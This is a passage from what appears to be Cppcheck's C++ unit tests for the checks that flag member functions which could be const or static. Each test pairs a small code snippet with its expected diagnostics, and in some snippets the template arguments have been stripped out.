\"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X 